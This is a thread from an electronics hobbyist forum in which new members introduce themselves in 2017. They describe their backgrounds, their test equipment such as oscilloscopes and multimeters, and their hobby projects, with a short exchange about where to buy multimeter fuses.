After reading some recommendations for the Rigol on this forum, I did a youtube search looking for some reviews - and found some entertaining (and informative) ones by an Aussie (?) co-incidentally with the Youtube account "EEVblog" ;-)

I'm not there where I'm going to buy just yet - but I'm certainly thinking about the Rigol.
In the meantime, I need to watch this video I stumbled onto:

https://www.eevblog.com/forum/beginners/oscilloscope-training-class-(long)/ (https://www.eevblog.com/forum/beginners/oscilloscope-training-class-(long)/)

It's been ages since I've used a scope, so I can use a refresher.

Since this was supposed to be a short intro, I tried to keep it brief.


Title: Re: New Member, Please introduce yourself
Post by: Default Username on July 20, 2017, 06:30:08 am
Hi, I was a long time lurker  :popcorn: of this forum and I've decided to join in on the fun   ^-^ ^-^ ^-^ ^-^
Title: Re: New Member, Please introduce yourself
Post by: nelsonm on July 20, 2017, 07:27:16 am
Hey there folks, Neat to be here! Calling me an electrical engineer would be akin to calling a toddler on a tricycle a biker. In terms of experience and education I'm super newbish but hopefully not too old to learn a trick or two!
Title: Re: New Member, Please introduce yourself
Post by: Geerant101 on July 21, 2017, 07:54:33 am
Hi all, my name is Ben and I am an electronics nerd. It has been my hobby since forever as I love tinkering and drawing schematics. More recently I have been getting more Involved with circuit board design. I am building myself a lab but it is slow going. Always up for a chat about electronics.

Cheers,
Ben

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Title: Re: New Member, Please introduce yourself
Post by: FPV on July 21, 2017, 07:57:24 am
Hi, I am Eric and I have studied Electrical Engineering (B.Sc.) a decade ago. Never found a job as an engineer and landed in finance. Most of my hobbies are flashlights, FPV racers and quadcopters, & electronics. Just on a hobby level though and I also don't have a lab or anything sophisticated.
Have been following eevblog via youtube for years now.

Title: Re: New Member, Please introduce yourself
Post by: jesanchez on July 26, 2017, 11:26:13 pm
Hello everyone, very happy to be a member of this community! I am very interested in continuing my journey in the field of electronics as a hobby, and have two partners in crime - my 8 and 11 year old sons. We are continuing to build our electronics lab, and have a few small projects in the works. The ultimate goal is to become more skilled in electronics with our eyes on robotics. Also, my wife want's me to be more proficient in electronics repairs so she can add to my (rather long) honey-do list. I am really looking forward to the collective wisdom of the members.

Cheers!

John
Title: Re: New Member, Please introduce yourself
Post by: robocoyote on July 27, 2017, 01:03:03 am
Hi, name is Rob.  I discovered Dave's video blog and now can't stay away.  I'm 56 and been building kits for 45 years or so.  I've an electronic tech and former IPC solder instructor.  The company I work for builds locomotive simulators and produces software for fuel economy and driving trains.  We don't build many sims anymore so I mostly work with engineering to build prototype hardware for our software.  I'm also an extra class ham and an amateur astronomer.
Title: Re: New Member, Please introduce yourself
Post by: Rick385 on July 27, 2017, 11:27:37 am
 A long time lurker says hello! Hope that I will fit in here! I am a newbie when it comes to electronics, so I will be probably asking a lot of stupid questions - sorry for that! ;)
Title: Re: New Member, Please introduce yourself
Post by: jpep on July 29, 2017, 08:44:45 am
Hi there, I work as researcher on the computer security field. Lately I have been doing some hobbyist level electronics and started to design and assemble my own boards so I thought it was time to join the community :)
Title: Re: New Member, Please introduce yourself
Post by: OMyMyOHellYes on July 30, 2017, 04:41:59 pm
Hello everybody from Texas!

Overall tinkerer.  Extra class HAM.  Like playing around with batteries and low voltage DC stuff relating to radios and other household uses.

OMyMyOHellYes
Title: Re: New Member, Please introduce yourself
Post by: wquade on July 31, 2017, 02:06:42 am
Hello everyone, my name is William. I'm a senior Computer Engineering student in Nebraska.

I work as a software developer at a small local company, but have been doing more hardware related stuff there lately. Electronics have been a hobby of mine, and keep running into the EEVblog community when doing research for things, so I thought I'd finally join this forum.
Title: Re: New Member, Please introduce yourself
Post by: ManuelMcLure on July 31, 2017, 08:35:56 pm
Hi everyone, I'm Manuel. I've dabbled in electronics on and off since I was very young, started off with the old Gakken Denshi Block just following the instructions. When I went to college I ended up in an Electronics Engineering major because I couldn't get into Computer Science and unfortunately spun my wheels for many years before dropping out and getting a job in software development.

I've once again started taking an interest in electronics just for fun - I've mostly done microcontroller (some Arduino-based stuff and some pure AVR stuff) but want to get into the analog side.

Other hobbies I am/have been interested in are R/C model aircraft (mostly sailplanes), ham radio, sewing (don't laugh) and computer games. I'm afraid I'm somewhat of a serial hobbyist - I'll do a deep dive into a hobby for a while, then get bored and find another hobby or pick up a previous hobby again.

I'm currently trying to set up my workbench. My list of test equipment is pretty sparse - a couple of homebrew power supplies plus a brand new to me Power Designs TW-4005, a Tektronix 2235 oscilloscope, an HP 974A DMM, one of those eBay special ATMega 328 based component testers and an MHS-5200A signal generator.

Right now my main project is refurbishing the TW-4005 to make sure it's reliable, and I'm also working on an Arduino-based controller for a climate controlled orchid growing box for my wife.
Title: Re: New Member, Please introduce yourself
Post by: fbublikov on August 02, 2017, 08:27:48 am
Hello, my name is Alexey. As a kid I really wanted to tackle electronics, but many years and a CS degree later, I still have not fulfilled my childhood dream. Right now I work as a software developer in the Netherlands. I hope that this forum will help me to get started. It's better later than never, right? :)
Title: Re: New Member, Please introduce yourself
Post by: onroadgoat on August 03, 2017, 01:56:03 am
Short time lurker in the sense that I came across many "reviews" via googling various multimeters/scopes, in the past month.

I've found multiple videos from Joe Smith, Dave, etc. on Youtube, all of which had an abundance of information, relevant to my personal needs and uses.

A little about myself, my name's Dan, I'm a married father of a not quite one year old poop factory who refuses to take naps. I hail from Vancouver, Canada, and pretend I know what I'm doing as an automotive service technician for the past 13 years. The fancier and newer cars get, the more crap seems to fail on them.

For hobbies, I enjoy the outdoors whether it be multi day hikes, camping or alpine touring in the winter. If it involves fresh air, it's worth it. I also tinker with Arduino and Raspberry Pi, though, never seem to have any time for anything besides changing diapers anymore...

Probably not the normal Sciences or Engineering background that I feel most on this forum are, though, I always enjoy learning and gaining from others' experiences.

Title: Re: New Member, Please introduce yourself
Post by: AnthLion on August 03, 2017, 07:30:17 pm
Hello, name's Anthony. I live in Texas, USA. Grew up in the 80's so completely grok the nostalgia vibes.

I teach AP Physics in high school where teaching AP Physics C:E&M ignited my nascent interests in electronics. My background is actually in genetics and biophysics, so going from wet work to dry. Loved taking things apart as a kid, but knew this was going to be an expensive hobby if I started down the path. Currently interested in the basics like simple power supplies and amplifiers that easily show the applications of what I teach. Then, move into micro-controller projects to learn how to program and arduino and control electronics.
Title: Re: New Member, Please introduce yourself
Post by: GerardWassink on August 04, 2017, 05:41:56 am
Hi y'all,

I've been reading (and posting) for a couple of weeks now and I thought it was time to properly introduce myself.

My name is Gerard Wassink (duh)... I was born in the Netherlands and still live there. My father was working in the Royal Dutch Airforce in the "ground radio shop" from the 50's. Working with electronics all his live, up till '98 when he was promoted to glory. This rubbed of on me a bit, in that I've always been interested in technical stuff and electronics as well.

I'm married, we have four children and nine grand-children. After an education in telecommunications and computer techniques, I've been working in IT since late 1979. Up until 2003 as an employee, since then as a free-lancer. From 2012 to 2015 I did a bachelor theology / pastoral care. At present I'm teaching ICT and computer science at an international school and my second job is doing pastoral care in the church we attend.

Besides work the technical hobbies never left. Digital model railroading can be pretty technical and electronic as well. Recently I re-discovered electronics as a hobby.

Well, that's the short version of my story guys...

Kind regards,

Gerard Wassink
Title: Re: New Member, Please introduce yourself
Post by: michaelf on August 07, 2017, 02:57:45 pm
Hi, I'm Mike.

Software developer in Southern California, about an hour east of LA. I've been here about two years just reading, searching for answers, not posting as I could generally find the answers.

I've built a few audio pieces - 4w/ch amp, phono preamp (bottlehead.com) and have mostly been working with micros the last few years. I'm starting to get some projects going but I don't have a real bench, about a square foot on my computer desk (programming) and the dining table when it's clear (soldering and building).

Projects are some wearable stuff for my wife's steam punk outfits, working on custom bike signals - wired and RF versions, small projects around the house to monitor items (not really into IoT).

I'm originally from a small town in southeast Saskatchewan, Canada but find the winters there a bit too cold  :)
Title: Re: New Member, Please introduce yourself
Post by: A@ron on August 26, 2017, 05:51:02 pm
Hi :)
My name is Aaron (obviously I'm not creative with usernames lol) I mainly tinker with things ranging from classic gaming systems like the Nintendo Entertainment System, to 18650s http://i.imgur.com/oI4vhBS.jpg (http://i.imgur.com/oI4vhBS.jpg), and apple logic board repair http://i.imgur.com/IM2Ok5q.jpg (http://i.imgur.com/IM2Ok5q.jpg)

Yeah a fairly eclectic group of things which do seem rather disjointed I admit. Most of it has been brought on by wanting to fix things so they don't wind up in the trash heap and branching out from there on learning things like how to build my own battery pack spot welder
Title: Re: New Member, Please introduce yourself
Post by: MrTurk on September 04, 2017, 01:17:50 pm
I'm Nuri from Turkey. I got my BS and MS degree in Electrical Engineering. I work as hardware engineer. I am designing and programming ARM boards.

Nexus 5 cihaz?mdan Tapatalk kullan?larak gönderildi

Title: Re: New Member, Please introduce yourself
Post by: jfr on September 06, 2017, 08:42:09 pm
Mechatronics engineer that does too much.

Worked in heavy equipment off highway, now in on-highway.

Simulink Embedded Coder, Python, dSpace & ETAS HIL testing, CANape.

Joined because when searching for how to program my cheap signal generator someone here had reverse engineered the protocol and I wrote a Python module for it.
Title: Re: New Member, Please introduce yourself
Post by: SMB784 on September 06, 2017, 08:52:18 pm
Howdy I'm Sean, I live in central texas.

I am a laser physicist specializing in fiber optics and solid state quantum sensors.  I have a Ph.D. in Physics and Bachelors degrees in Mathematics and Physics. 

My primary hobby is electronics, which helps me with my research.  I am trying to learn more about programmable logic and FPGA's for projects involving automation and machine learning.
Title: Re: New Member, Please introduce yourself
Post by: CNe7532294 on September 15, 2017, 11:43:43 pm
Hello everyone,

I'm Lex. I'm currently in Southeast Texas. I have been lurking on these forums for years and viewing Dave's youtube vids for longer without saying much. Up until now I haven't been able to say much partly because I had issues remembering an old account made somewhere in Fall of 2014 and getting a verification email for this new one. That has all been resolved now.

I have also been on other forums that perhaps other members on here might have been on (yahoo groups or group.io for HP/Agilent, R&S, HP85). My day job involves chemistry and working in a Medical lab. My interests are in troubleshooting, figuring how stuff works, and developing methods or devices. Currently electronics is a "hobby" for me but it seems like I take it more seriously than that given that I'm TEA (Test Equipment Addicted), continue to self teach myself on electronics and RF knowledge, and overall invest more of my time on the subject matter. I have family members who are interested in entering this field. I also have an interest in weather.

My test equipment is mainly towards late 80s to early 90s and involves RF/Microwave tech from HP and Tek. Equipment such as HP 8340B, 8673B/D (yes 2 but the B model could be parted out temporarily), 8563E/EC (yes I have 2 but the EC one has a broken RYTHM module, using its parts as a control against suspected boards and modules), 8561B, 5343A, 436A, 438A, 8481/2/5A (3 power sensors), 9816 controller, 9121/2C drives (2 floppy drives), and for newer HP gear E4419B and MSOX3104A w/ all options. For Tek I have a 2467B, TM500 w/ SG503/4 (2 sine wave gens), TM501, PG506A, 2xPS503A, FG501A, and a newer AFG3252 (not C). For Rohde & Schwarz I have a SMHU 58 (really good signal gen.) There are others I forgot to list like the Hakko vacuum gun and soldering iron (forgot model #), Fluke 87V (the most useful thing any kind of electronics person will ever own) or accessories to the equipment above.
Title: Re: New Member, Please introduce yourself
Post by: superheromario on September 23, 2017, 05:19:18 pm
Hi buddies I'm from Vietnam and to be honest I suck at electronics and electrical circuits in general. I'm in my 4th year at Hanoi University of Science and Technologies but I hardly know what a transistor is like. Look I'm not kidding I really don't have an idea about it. I've been bad at physics since I was way back in 11th grade but somehow I've gone this too far. So I came here, to introduce myself to you guys, that I've watched a few videos of Dave, and would like to snuck into the world of electronics, and seek for a hand from someone who may, perhaps, help me get used to these electronics things. Get me know what a transistor is, and how to properly use an analog oscilloscope. Thanks so much, in advance. Cheers brothers!!
Title: Re: New Member, Please introduce yourself
Post by: Bubba on September 24, 2017, 09:11:26 am
Just Call me Bubba   ;D
Medically retired. Been into electronics Hobbying since pre teens.

Only had 3 Quarters left to get my Associates Degree from ITT Before I had to give up to take care of my wife (RIP).

Getting back into electronics. Almost have my Bench together. Lost all my class notes and reference library due to circumstances beyond my control..I will probably be bugging everybody to help refresh my memory and fill in the gaps....
Licensed Ham operator....
Half Baked...

I have posted questions in the past on "Ham" boards and got the typical reply of
Google it (If I could find it on Google after searching for several days I wouldn't have been asking..)
with the general attitude of
"I don't know but I am superior to you anyhow"
etc etc etc...
Hopefully things are a bit different here 
Title: Re: New Member, Please introduce yourself
Post by: Gmm213 on September 28, 2017, 12:11:53 pm
Everyone calls me Woody.

Im getting back into electronics as I start to tinker on my stereo equipment. I was an IT for a few years then joined the Navy as a CTT (EW for any old salts, radar EET specialiast for you civvies.)

I'm hopefully starting my EE degree this spring.

Title: Re: New Member, Please introduce yourself
Post by: jeanguypataterub on September 28, 2017, 02:24:09 pm
hi I'm Pierre from Florida. I am a hobbyist and ham radio operator KM4WSJ. Self learning electronics. Having fun but frustrated at times. I look forward to learning from you guys.

Pierre
Title: Re: New Member, Please introduce yourself
Post by: khs on September 29, 2017, 08:29:53 am
Hi from the Free State of Bavaria, Germany!

I'm a manufacturer of (opto-)electronic instruments from the sensor to the user software.
Every time I look around I can learn a little bit more even it's basic knowledge.
So here from me a big THANK YOU to Dave and all contributors of this forum.
Title: Re: New Member, Please introduce yourself
Post by: dnessett on September 29, 2017, 10:11:54 pm
I'm Dan, a retired software engineer, who relaxes by tinkering with electronics. My background is not EE, it is computer science via mathematics. So in regards to hardware, I am a hobbyist.
Title: Re: New Member, Please introduce yourself
Post by: Burke_GA on September 30, 2017, 01:44:40 am
G'day,

I'm Greg from "the sticks" in Queensland, Australia. Been away from EE both hobby and professional for several DECADES!! Trying to start back at hobby level again and stumbled on this great forum by accident looking for old test bits to re-equip.  My mind boggles at degree of change since i was last involved. Lots to learn from scratch.
Title: Re: New Member, Please introduce yourself
Post by: precaud on September 30, 2017, 01:48:07 am
I guess this is where we make our first post  :)

I've been a test equipment dealer for the last 21 years, so I've had a chance to play with pretty much everything I used to drool over back when test and measurement was a part of my work. IMO these are the coolest tools on the planet. Several google searches over the years have led me to this forum, so time I joined. Some very bright and clever people here.   :-+

Am heading for retirement in the next year or so, when I can go back to doing this for pleasure. Am in the process of repairing/refurbing some instruments I will want to have on the bench, fixer-uppers picked up along the way. Just finished a Wayne Kerr 6425 a couple weeks ago. Now working on an Anritsu MS420K (almost done) and an HP 4192A (success eludes me as yet - may be beyond my skill set).

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: sprintcarfan on October 01, 2017, 08:12:19 pm
I'm John, a mechanical engineer from Indiana.  I am mostly interested in electronics from an automotive standpoint.  EFI, Programming microntrollers ,etc.
Title: Re: New Member, Please introduce yourself
Post by: edalsan on October 02, 2017, 02:58:53 pm
Hello everyone!

I'm new here, so first things first.

I'm a young spaniard freshly graduated in Electronics Engineering. I'm very interested and working on brushless motor control with STM32 microcontrollers. I'm also starting to set up a little electronic lab which will allow me to test things at home as I will not be using the university equipment anymore.

Hope I'll find good people in there and share my (little so far) knowledge with you!


Title: Re: New Member, Please introduce yourself
Post by: Zenrei on October 13, 2017, 12:04:45 am
Hello there
Industrial engineer with moderate experience in all things engineering.
I've been born with...the "knack"
My motto is:
If i dont know the answer when you ask me. you shall have the answer next time we meet.
Title: Re: New Member, Please introduce yourself
Post by: Kendhill57 on October 13, 2017, 05:24:10 pm
Hi all... I've worked in verious electronic related fields... aviation, oil field automation,built my first computer while in navy over seas in 78 ; got a bare board apple-clone an have been hooked on building things sense...learned software before most of you where a twinkle in you mother eye. I'm versed in several programming languages. ..playing with fpgas and some test equipment atm. ..picked up a lot of insight on cmu200 from this forum. ..
Title: Re: New Member, Please introduce yourself
Post by: dwonga on October 20, 2017, 03:22:33 am
Hi everyone! I'm David Wong. I'm a computer engineering, graduated 10 years ago from Universidad Nacional de Trujillo, in Trujillo, Peru. All my whole life I've been attracted by computer and electronics (since I was a kid). But most of my adult life I have been programming and managing several projects (non-electronics related). But now, I discovered the Internet of thing(tm) stuff and I felt in love (again) with electronics and circuits. I bought a oscilloscope (Hantek DSO5102P) a function generator (Siglent SDG1025), a multimeter and several canned circuits (like HC-SR04, arduinos, fpgas, etc). I'm very excited to build things with can be controlled over the internet (I found the ESP8266 projects sooo cool).

I hope write very often here, give a hand on whatever I could know and also, ask for help. Thank you for read this post. Count me as a friend.
Title: Re: New Member, Please introduce yourself
Post by: hedgepig on October 22, 2017, 11:06:43 am
Hello everyone,

I'm a junior (3rd year) undergraduate computer/electrical engineering student at the University of Virginia. I've been lurking these forums for a while now, and have really enjoyed watching Dave's videos (they are a great way to learn during "off-hours").

I'm currently interested in just learning more in general about electronics, though I'm starting to look at how I would get a bit more serious about things-right now I'm taking a look at the videos listed at https://www.eevblog.com/forum/projects/electronic-loads-cp-cv-cr-how-to-implement/ (https://www.eevblog.com/forum/projects/electronic-loads-cp-cv-cr-how-to-implement/)

There's a real trove of valuable information here... hopefully I'll be able to contribute to that one day (:
Title: Re: New Member, Please introduce yourself
Post by: arisma on October 23, 2017, 12:22:04 pm
Hello all,

One more from Spain.

Regards.

Title: Re: New Member, Please introduce yourself
Post by: ToxicBacon on October 24, 2017, 01:52:29 pm
Hi my name is Danny, in a high school student and I'm just interested in electronics :scared: \$\Omega\$ :horse:
Ps I'm also an edgy meme lord
Title: Re: New Member, Please introduce yourself
Post by: soggymushrooms on October 25, 2017, 08:56:44 am
Hi, I'm Liam, I'm a second-year student studying EE and physics at Southern Methodist University

I'm here more for general insight from people much more experienced than me, particularly on how to stop using arduinos as a crutch in many of my projects.
Title: Re: New Member, Please introduce yourself
Post by: kulla on October 25, 2017, 10:48:18 am
Hmm, I missed to introduce myself, how impolite of me.

Hello from "warm" Sweden.

A hobbyist here, ham radio operator, self learner in everything including electronics.

Did lot of DIY projects, with 3d printers, esp, pic, arduino, lasers, cnc, etc.

Have a 20 years of experience in IT, network, security, operating systems, etc.

I'm here to learn more, much much more and I hope to be able to help someone with what I can.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: poof on October 26, 2017, 04:15:42 pm
Hello
Title: Re: New Member, Please introduce yourself
Post by: maglin78 on October 28, 2017, 04:29:59 pm
Hello, I'm Jeremiah from USA, Kansas.  Been active in electronics in one form or another.  I've built a few boards like MegaSquirts for automotive electronic fuel injection and some other projects like an Arduino plasma torch height controller...  I'm looking to dive deeper into EE and this looks to be the best place on the internet to ask and learn it looks like.  I'm looking at getting a D1054Z scope at some point and maybe a few other items that are maybe required for a proper lab.  I currently have a Fluke 88 and recently purchased a DSO138 for a simple single-channel scope.  I look forward to learning more about electronics.

Maglin
Title: Re: New Member, Please introduce yourself
Post by: Squarewave on October 28, 2017, 10:11:16 pm
Hello, new member here. Electronics/electrical/instrument tech (depending on who I'm working for at the time).

I'm a massive Avometer collector too, so if you're ever selling one, let me know :)

Title: Re: New Member, Please introduce yourself
Post by: twinpeaksr on November 03, 2017, 07:34:05 pm
Twinpeaksr from USA.  I spent 12 years doing rugged electronic hardware design for off-highway equipment, and recnetly 4 years doing system engineering design work at the same company.  While I love system engineering work, I am trying to rekindle my hardware design years and stumbled across this forum as I researched getting a scope.

I spent most of my design time on displays and telematics hardware design, test and development, with a background in digital logic (FPGA, CPLD, ASIC durring my BSEE) and RF/High Speed communication (MSEE).  Also started learning SysML and system modelling recently as I completed System Engineering Grad Work.  I hope to start learning software, always been a weak spot for me, but I have several FPGA dev kits I hope to use.  Look forward to checking out the knowledge that is shared here.

Thanks!
Title: Re: New Member, Please introduce yourself
Post by: coffee on November 04, 2017, 01:55:59 pm
Hello everyone!

I'm Carter and I'm currently working at PRS guitars helping design their guitar tube amplifiers. Loads of fun and I am learning alot.

Joining this forum because I want to build a couple of amps at home and therefore want to pick up a scope and signal generator for the basic testing of things. If you have any suggestions that would be great!

I am probably going to pick up a Rigol 1054z, because after reading this forum that seems to be the overwhelming bang for your buck scope. So if any of you guys have a used one you are looking to part with I am in the market! Taking a break from college getting my EE degree to pursue learning this stuff so money is still a little tight.

Also if you guys have a recommendation for a good budget friendly function generator I would love to hear about it.

Thanks and happy to be a part of the forums!
Carter
Title: Re: New Member, Please introduce yourself
Post by: maleetronic on November 06, 2017, 02:01:29 am
Hi,

not my first post, but here is my "Hello EEV Blog Forum".
I am Mark from Thailand(original from Germany), living here now since about 8 years.
Since 1 year I am designing and selling my own hardware, while I am working on projects as freelancer in the automation industry.
If you want to know more about me and my designs, have a look at Maleetronic.com.
Title: Re: New Member, Please introduce yourself
Post by: kjr18 on November 07, 2017, 03:41:23 pm
Greetings everyone on this glorious forum!
I'm Kazek, I live in Poland. I'm a hobbyist, my skill in electronics could be summed in one sentence: I manage to NOT blow any stuff lately. :-DD
Sometimes I use Dave's videos as a background music when I'm working on something, his voice is somewhat calming, when something is not working as intended. ;D
Title: Re: New Member, Please introduce yourself
Post by: CoalCreekPlastics on November 09, 2017, 04:18:03 am
Hello all, this post is way past due, but there are so many cool topics to offer my uninformed opinion on.  ;D My name is Patrick and I am fascinated with electronics.  I work as a software engineer, but have a "second shift" job called Coal Creek Plastics.  I am about to undertake an injection molding business and do some 3D Printing additive manufacturing.  I am a total electronics noob but I have learned a ton from Dave's videos and this forum.  He taught me how to solder properly, and that's a great start.  Thanks all!
Title: Re: New Member, Please introduce yourself
Post by: savageautomate on November 09, 2017, 01:50:13 pm
Hello,  I've been lurking on the forums for a while and siphoning what knowledge I can from this highly technical and experienced group.  So I thought it was about time to engage more and start posting back.  My name is Robert Savage and I have been in the tech industry for over 20 years.  I started in AV where I learned all about sound, lighting, projection, etc and then moved into IT where I learned all about networking and computer systems architecture and like Dave, I served as the Y2K coordinator for a large company.  Shortly after the big non-event on Y2K, I moved into software engineering and development where I have spent most of my career.

I really enjoy developing software and designing solutions from end to end.  In recent years I have started moving into electronics and micro-controllers as a hobby.  I started gathering some test equipment and began watching the EEVBlog videos to try and learn how to use some of the gear and learn from the tear down videos.  I have to admit .. its somewhat of an addiction now.  When I was only into software, my office was very clean and neat .. and now my office looks like I'm a hoarder of all things electronic: components, wire scraps, ICs, micro-controllers, test equipment, meters, power supplies, probes, prototype boards, etc ..   I guess the first step is admitting I have a problem  ;)

I also started the open source project Pi4J (http://pi4j.com/ (http://pi4j.com/)) which is a Java binding library for working with lower level interfaces such as SPI, I2C, GPIO, UART on a Raspberry Pi (and similar SBCs). 

I have a blog, although I have not been too active on it recently.  Too many hobbies I guess.
http://www.savagehomeautomation.com/ (http://www.savagehomeautomation.com/)

Regards, Robert
Title: Re: New Member, Please introduce yourself
Post by: KG4MXV on November 15, 2017, 04:56:06 pm
Hi all. 
I am just a old fart that likes to tinker with electronics since I was 7. Over 4decades ago. 
have been watching Daves vids for quite some time now and decided to join the forum. 

Use to work for General Electric as a Field Service Engineer covering power switch gear, Automatic transfer switches and uninterruptible power supples.  Working from low voltage to medium voltage 5kv.
Taking a bit of a break after the bastards sacked me after being out on medical leave. Via a text msg. (my manager was a complete ass.) 
Anyway after spending 10+ years doing 99% travel I have decided to take some time off and get my shop in order, reconnect with my local Amateur radio groups and the Red Cross.  And get my house back in good nik.  Started lots of projects over the years and never had the time to finish. 
Also get my 60' tower sorted out.  After 10 years of neglect all the cables are flapping in the wind.  Get my weather station operational.
Got lots of junk to sort out.  And looking forward to going to my local Ham-fest that I haven't been to in 8 years. 
When I get my shop sorted I will post some picts.

Title: Re: New Member, Please introduce yourself
Post by: Ones on November 16, 2017, 06:23:17 am
Hi all,

It's good to be here.My name is Ones, a Chinese boy. I used to be a electronic engineer for few years,but right now,I'm as a embedded software engineer for more than five years. What I focus on are ADI and TI's DSP firmware development and performance optimization. Ofcourse, I also have some project experience by using other MCUs, such as the STM32 series,AVR mega series and so on.
I hope we can exchange all kinds of ideas here.

Cheers,
Ones
Title: Re: New Member, Please introduce yourself
Post by: Podrowski on November 16, 2017, 10:48:40 am
Hello,

I am Sander from Holland. I'm an relatively advanced electronics hobbyist (I like to think so at least). While I do have a formal electronics degree, i've unfortunately never worked in the field, my daily job involves software engineering. Recently i've had a renewed interest in this hobby, partly caused by Dave's videos. My main interest is audio equipment, most notably actively controlled loudspeakers (motion feedback) and home automation systems.

Regards,
Sander
Title: Re: New Member, Please introduce yourself
Post by: Terry01 on November 16, 2017, 11:49:18 am
Hi all,I'm Terry!

I'm just learning electronics. I found electronics after having to quit working due to illness. Multiple sclerosis.

Sooooo....I'm now teaching myself electronics. It makes for some funny/interesting results! My instructor (ME!) has an official diagnosis of "brain damage" and knows absolutely nothing about electronics. Lots of sparks and smoke and my wife shouting "WTF"!

I love it!!  8)
Title: Re: New Member, Please introduce yourself
Post by: Russ on November 17, 2017, 06:53:12 pm
Hello

   Russ and I’m a new member. Presently studying Mechatronics in College. Also waiting for UPS to deliver my EEVBLOG-Bryman multimeter today.  ;). I hope it lives up to the reviews.

Russ
Title: Re: New Member, Please introduce yourself
Post by: adam.sage on November 22, 2017, 08:51:46 pm
Hello everybody!  I've been watching Dave on YouTube for quite some time and figured it time to come over to the check out the forums.  After about 2 years I think it's time to purchase the Rigol DS1054Z I've been watching and I'm looking forward to learning all about it here.
Title: Re: New Member, Please introduce yourself
Post by: runeazn on November 23, 2017, 10:17:51 am
Heya everyone,

Current I am studying Bsc. Electrical Engineering in Eindhoven University of technology! 21 years old. I love doing things myself and making things work. However, not until recently have I really made my own circuits or electronics. Since I really enjoy this, I went to watch youtube videos about it. I started with GreatScott and now I regularly watch EEVblog videos. I knew of this channel couple years ago, but not until recently did I start to appreciate Dave's long videos. Before I thought of them as lengthy and boring, while actually it is full of information where Dave beautifully explains the thought process of a experienced engineer (himself).

I hope I will have a nice time here!
Title: Re: New Member, Please introduce yourself
Post by: Freelander on November 23, 2017, 12:50:15 pm
Hi all,
Layabout and retired messer of all things electrickery....
My main hobbies and interests are Electronics, Radio Electronics, Computing, programming of embedded microprocessors.

Title: Re: New Member, Please introduce yourself
Post by: ADent on November 23, 2017, 01:12:40 pm
Hello!

I'am an embedded SW developer, 41 years old (it sounds old when written  :( ) and lives in Sweden.
Have been playing around with electronics for about 10 years now.
Did learn quite a lot of basic electronics at school 22 years ago. Thanks to my current work I got hooked on LeCroy oscilloscopes. :)

Made a Sokoban game for my old Sony Ericsson T610 a long time ago, and it was incredibly fun seeing my own code
running on a small device. One of my first hobby project was at university making a 230V relaybox controlled by my Amiga 4000 - which ran a web-server so lights could be controlled via WAP from an early wap-enabled phone.

Actually had a board manufactured and sold: http://electronics.chroma.se/rpisbv3.php (http://electronics.chroma.se/rpisbv3.php)
Currently working on, and almost done with, a tranceiver for making old C64/Amiga joysticks wireless, based on the NRF24L01+. Pretty neat if I may say so myself :) http://electronics.chroma.se/wlj.php (http://electronics.chroma.se/wlj.php)

Other than that i have an old house to take care of, two kids and an -84 SAAB 99. Wish I had more time for fun stuff but it's all sleep - work - eat - feed the dishwasher - repeat. (Projects above move at very slow pace).

Edit: Also my nick of course stands for Arthur Dent which is also of course not my real name.

Best regards
Mikael
Title: Re: New Member, Please introduce yourself
Post by: Freelander on November 24, 2017, 02:40:19 am


Edit: Also my nick of course stands for Arthur Dent which is also of course not my real name.

Best regards
Mikael
Greetings. I hope you brought your towel ? 😀

I think Dave is planning a new vid on an infinite improbability drive soon..................
Title: Re: New Member, Please introduce yourself
Post by: CharlieO21 on November 28, 2017, 02:43:11 pm
Hello,

I'm Charlie a mechatronics engineer, I'm from Guadalajara, México. I'm 24 years old.
Currently working as hardware engineer on a transportation company.
Title: Re: New Member, Please introduce yourself
Post by: jgalak on November 28, 2017, 07:54:13 pm
Hey there.  Juliean, a hobbyist from the NYC area, US.  Been playing with electronics since I was a kid, got into Arduino/RPi a few years ago, mostly just doodling around.  Got my ham license a few years ago (KQ2Z).  Currently poking at some VHF/UHF radio projects for High Altitude Ballon and maybe, some day, cubesats (hey, one can dream, right?).

My undergrad degree is in Computer Science from a top engineering school, but I've been in a non-technical industry for the last 20 years.  Still do a fair amount of hobby programming, for various personal projects, but hardly a pro these days.  Complete novice on the hardware side.
Title: Re: Eevblog/Brymen 235 DMM
Post by: Russ on November 29, 2017, 05:28:32 am
   I was sure that they were on Amazon, now I cannot locate them. Does anyone have the Amazon link to the packet of fuses that Dave sells for this DMM?

Thanks
Russ
Title: Re: New Member, Please introduce yourself
Post by: Andrew Morton on November 29, 2017, 09:39:14 pm
Hi all, I'm Andrew and I had no idea I couldn't change my username after registering. So you can all laugh at my feeble comments on EE.SE and know it's the same person  :)

So, I see a few people announce themselves here and say they'd like a Rigol DS1054Z. Well, I did it the other way round and thought I could let people know that the Rigol EU site https://www.rigol.eu/clearance/ (https://www.rigol.eu/clearance/) has three two refurb ones for €299 euros + tax + €15 shipping as of today (see post date).

When it arrives, hopefully I'll be able to get a clue about why my simple two-transistor oscillator doesn't, and quantify how I fixed an I2C sensor with a bypass capacitor. I'm just casually learning about/messing around with electronics - if I was serious I suppose I'd actually do the exercises in TAofE, lol.
Title: Re: New Member, Please introduce yourself
Post by: soubitos on November 29, 2017, 09:57:42 pm
Hi... not my first post, but here is my introduction...
I am Christos, live in North Greece in a small village 2 years now. Used to live in Athens.
I studied electronics in technical school and went another year for computer repair class.
After many years of various jobs, mostly outside my study fields I ended up unemployed and with plenty of free time.
I repair computers and electronic devices here in the village but its not much.
So, after some time, i got interested in lithium batteries and other stuff and i have started to build a few projects based on ideas/solutions i saw are needed around here... you can see my projects here https://easyeda.com/catech75
Title: Re: New Member, Please introduce yourself
Post by: Andrew Morton on November 30, 2017, 08:35:52 pm
   I was sure that they were on Amazon, now I cannot locate them. Does anyone have the Amazon link to the packet of fuses that Dave sells for this DMM?

Thanks
Russ
Maybe you meant to look on ebay?
https://www.ebay.co.uk/itm/Multimeter-HRC-Fuse-Pack-EEVblog-Brymen-FLUKE-FLU11-/222458807451?
hash=item33cb94049b:g:iJgAAOSw4CFY3z13 (https://www.ebay.co.uk/itm/Multimeter-HRC-Fuse-Pack-EEVblog-Brymen-FLUKE-FLU11-/222458807451?)
Title: Re: New Member, Please introduce yourself
Post by: JohnnyMalaria on December 01, 2017, 01:05:27 am
Hi!

I'm John - originally from the UK but now living in the US (since 1997).

